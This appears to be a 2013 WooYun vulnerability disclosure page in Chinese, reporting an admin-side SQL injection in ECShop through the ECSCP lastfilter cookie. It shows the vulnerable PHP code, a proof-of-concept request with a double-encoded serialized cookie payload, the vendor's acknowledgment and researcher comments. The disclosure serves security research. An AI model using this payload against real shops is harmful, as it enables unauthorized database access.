当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024840

漏洞标题:ecshop最新版本后台所有功能块通用SQL注入(全版本亦可)

相关厂商:ShopEx

漏洞作者: blue

提交时间:2013-05-30 23:44

修复时间:2013-08-28 23:45

公开时间:2013-08-28 23:45

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-30: 细节已通知厂商并且等待厂商处理中
2013-05-31: 厂商已经确认,细节仅向厂商公开
2013-06-03: 细节向第三方安全合作伙伴开放
2013-07-25: 细节向核心白帽子及相关领域专家公开
2013-08-04: 细节向普通白帽子公开
2013-08-14: 细节向实习白帽子公开
2013-08-28: 细节向公众公开

简要描述:

后台的SQL注入,几乎所有的后台功能块都能用此方法注入,进入后台就可以用此提升下自己的权限了,当然,“进入后台”让这个漏洞鸡肋了,你懂的~~~

详细说明:

$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
这一句是核心,urldecode看到了么?所以啊,只要%27、%2527就能绕过init.php里对$_COOKIE的addslashes_deep了~~~
两个地方:
1.订单详情

/admin/order.php //158行
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));


2.后台几乎各功能块列表都会用到的get_filter()方法

/admin/includes/lib_main.php //718行
function get_filter($param_str = '')
{
$filterfile = basename(PHP_SELF, '.php');
if ($param_str)
{
$filterfile .= $param_str;
}
if (isset($_GET['uselastfilter']) && isset($_COOKIE['ECSCP']['lastfilterfile'])
&& $_COOKIE['ECSCP']['lastfilterfile'] == sprintf('%X', crc32($filterfile))) //这虽然麻烦,但可控制
{
return array(
'filter' => unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])), //这里又见重点
'sql' => base64_decode($_COOKIE['ECSCP']['lastfiltersql'])
);
}
else
{
return false;
}
}


1.png


看接下来的漏洞证明吧~~

漏洞证明:

订单详情的,这个好弄些

1.png


get_filter方法的,拿文章列表来测试,满足触发条件可能麻烦些,说个简单的方法,把条件“==”你控制不了的那一边echo输出出来,然后控制的那一边改一下就好了(我说的不绕口吧?)

2.png


相关代码(文章列表的,供测试)

GET:
http://localhost/test/ecshop/admin/article.php?is_ajax=1&uselastfilter=1
POST:
act=query&keyword=&cat_id=0
COOKIE:
ECSCP[lastfilterfile]=23A0E66;
ECSCP[lastfilter]=a%253A1%253A%257Bs%253A5%253A%2522start%2522%253Bs%253A2%253A%25221%2527%2522%253B%257D; //cookie修改这两处


怎样,有了这个,还要再找后台SQL注入么?

修复方案:

进入sql语句前,再进行过滤最靠谱

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-05-31 08:44

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2013-05-30 23:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    进入后台...

  2. 2013-05-31 04:38 | 少校 ( 实习白帽子 | Rank:40 漏洞数:5 | 别开枪,自己人!)

    现在ecshop的洞 前台的不好挖了 都开始挖后台了,高 实在是高!

  3. 2013-05-31 08:34 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    跟着标题我就进来了

  4. 2013-05-31 08:55 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    @blue 我准备今天再来2发的。你既然这么早就发了!我情何以堪啊!

  5. 2013-05-31 09:11 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    都开始搞后台了,你们是闹哪样列。。。

  6. 2013-05-31 09:13 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    @齐迹 @少校 @xsser 那么后台的xss算不算呢?只是危害就不大了

  7. 2013-05-31 09:33 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    @xfkxfk 先把sql搞完了在搞xss 后台xss 可能是1rank 呵呵